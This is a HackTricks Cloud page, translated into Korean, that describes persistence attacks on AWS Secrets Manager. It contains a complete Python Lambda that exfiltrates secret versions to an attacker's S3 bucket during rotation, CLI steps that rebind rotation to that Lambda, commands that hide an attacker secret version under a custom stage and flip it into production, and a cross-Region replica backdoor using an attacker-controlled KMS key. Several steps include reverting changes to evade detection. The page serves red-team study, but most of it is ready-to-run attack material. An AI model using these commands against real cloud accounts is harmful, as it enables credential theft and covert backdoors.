AWS - Secrets Manager Persistence
Reading time: 9 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Secrets Manager
자세한 정보는 다음을 확인하세요:
Via Resource Policies
리소스 정책을 통해 외부 계정에 secrets에 대한 접근 권한을 부여할 수 있습니다. 자세한 내용은 Secrets Manager Privesc page를 확인하세요. 외부 계정이 secret에 접근하려면, 해당 secret을 암호화하는 KMS 키에 대한 접근 권한도 필요합니다.
Via Secrets Rotate Lambda
비밀을 자동으로 회전시키기 위해 구성된 Lambda가 호출됩니다. 공격자가 **코드(code)**를 **변경(change)**할 수 있다면, 그는 새 secret을 자신에게 직접 exfiltrate the new secret할 수 있습니다.
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
RotateSecret을 통해 rotation Lambda를 공격자 제어 함수로 교체
secretsmanager:RotateSecret을 악용하여 비밀을 공격자 제어 rotation Lambda에 재바인딩하고 즉시 rotation을 트리거합니다. 악성 함수는 rotation 단계(createSecret/setSecret/testSecret/finishSecret) 동안 비밀 버전(AWSCURRENT/AWSPENDING)을 공격자 싱크(예: S3 또는 외부 HTTP)로 exfiltrate합니다.
-
Requirements
-
Permissions:
secretsmanager:RotateSecret,lambda:InvokeFunctionon the attacker Lambda,iam:CreateRole/PassRole/PutRolePolicy(or AttachRolePolicy) to provision the Lambda execution role withsecretsmanager:GetSecretValueand preferablysecretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage(so rotation keeps working), KMSkms:Decryptfor the secret KMS key, ands3:PutObject(or outbound egress) for exfiltration. -
A target secret id (
SecretId) with rotation enabled or the ability to enable rotation. -
Impact
-
공격자는 정식 rotation 코드 수정 없이 비밀 값을 획득합니다. rotation 구성만 공격자 Lambda를 가리키도록 변경됩니다. 탐지되지 않으면 향후 예정된 rotation도 계속 공격자 함수를 호출합니다.
-
Attack steps (CLI)
- Prepare attacker sink and Lambda role
- Exfiltration용 S3 버킷과 비밀을 읽고 S3에 쓸 수 있는 권한(및 로그/KMS 권한 등)이 있는 Lambda가 신뢰하는 실행 역할을 생성합니다.
- Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
- Rebind rotation and trigger
aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
- Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
- (Optional) Restore the original rotation Lambda to reduce detection.
- Example attacker Lambda (Python) exfiltrating to S3
- Environment:
EXFIL_BUCKET=<bucket> - Handler:
lambda_function.lambda_handler
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']
def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
Version Stage Hijacking — 은밀한 지속성 (custom stage + fast AWSCURRENT flip)
Secrets Manager의 version staging labels를 악용해 공격자가 제어하는 secret version을 심고, production이 원래의 AWSCURRENT를 계속 사용할 동안 커스텀 스테이지(예: ATTACKER) 아래에 숨겨둡니다. 언제든 AWSCURRENT를 공격자 버전으로 이동시켜 종속된 워크로드를 오염시키고, 탐지를 최소화하기 위해 다시 복원할 수 있습니다. 이렇게 하면 secret 이름이나 rotation config를 변경하지 않고도 은밀한 backdoor persistence와 빠른 사용 시점 조작이 가능합니다.
-
Requirements
-
권한:
secretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage,secretsmanager:DescribeSecret,secretsmanager:ListSecretVersionIds,secretsmanager:GetSecretValue(검증용) -
대상 secret id (해당 Region).
-
Impact
-
숨겨진 공격자 제어 버전의 secret을 유지하고 필요 시 원자적으로
AWSCURRENT를 해당 버전으로 전환하여 같은 secret 이름을 해석하는 모든 소비자에 영향을 줍니다. 빠른 전환과 즉시 복구는 탐지 가능성을 줄이면서 사용 시점 타협을 가능하게 합니다. -
Attack steps (CLI)
-
Preparation
-
export SECRET_ID=<target secret id or arn>
CLI 명령어
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}
# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"
# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"
# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
- 노트
--client-request-token을 제공하면 Secrets Manager는 이를VersionId로 사용합니다.--version-stages를 명시적으로 설정하지 않고 새 버전을 추가하면 기본적으로AWSCURRENT가 새 버전으로 이동하고 이전 버전은AWSPREVIOUS로 표시됩니다.
Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Secrets Manager의 multi-Region replication을 악용하여 대상 secret의 복제본(replica)을 모니터링이 덜한 Region으로 생성하고, 해당 Region에서 공격자가 제어하는 KMS 키로 암호화한 뒤 복제본을 standalone secret으로 승격시키고 공격자에게 읽기 권한을 부여하는 관대한 resource policy를 연결합니다. 원래의 primary Region에 있는 secret은 변경되지 않아, 승격된 복제본을 통해 KMS/정책 제약을 우회하면서 영구적이고 은밀하게 secret 값에 접근할 수 있습니다.
-
요구 사항
-
권한:
secretsmanager:ReplicateSecretToRegions,secretsmanager:StopReplicationToReplica,secretsmanager:PutResourcePolicy,secretsmanager:GetResourcePolicy,secretsmanager:DescribeSecret. -
replica Region에서:
kms:CreateKey,kms:CreateAlias,kms:CreateGrant(또는kms:PutKeyPolicy) — 공격자 principal이kms:Decrypt를 수행할 수 있도록 허용. -
승격된 secret에 대한 읽기 액세스를 받을 공격자 principal(사용자/역할).
-
영향
-
공격자가 제어하는 KMS CMK 및 관대한 리소스 정책 하의 standalone replica를 통해 secret 값에 대한 지속적인 교차-Region 접근 경로가 생깁니다. 원래 Region의 primary secret은 변경되지 않습니다.
-
공격 (CLI)
-
변수
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
- replica Region에 attacker-controlled KMS key 생성
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
- attacker KMS key를 사용하여 secret을 R2로 복제
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
- R2에서 레플리카를 독립 인스턴스로 승격
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
- R2에 있는 standalone secret에 permissive resource policy를 첨부
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
- R2에서 attacker principal로부터 secret 읽기
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud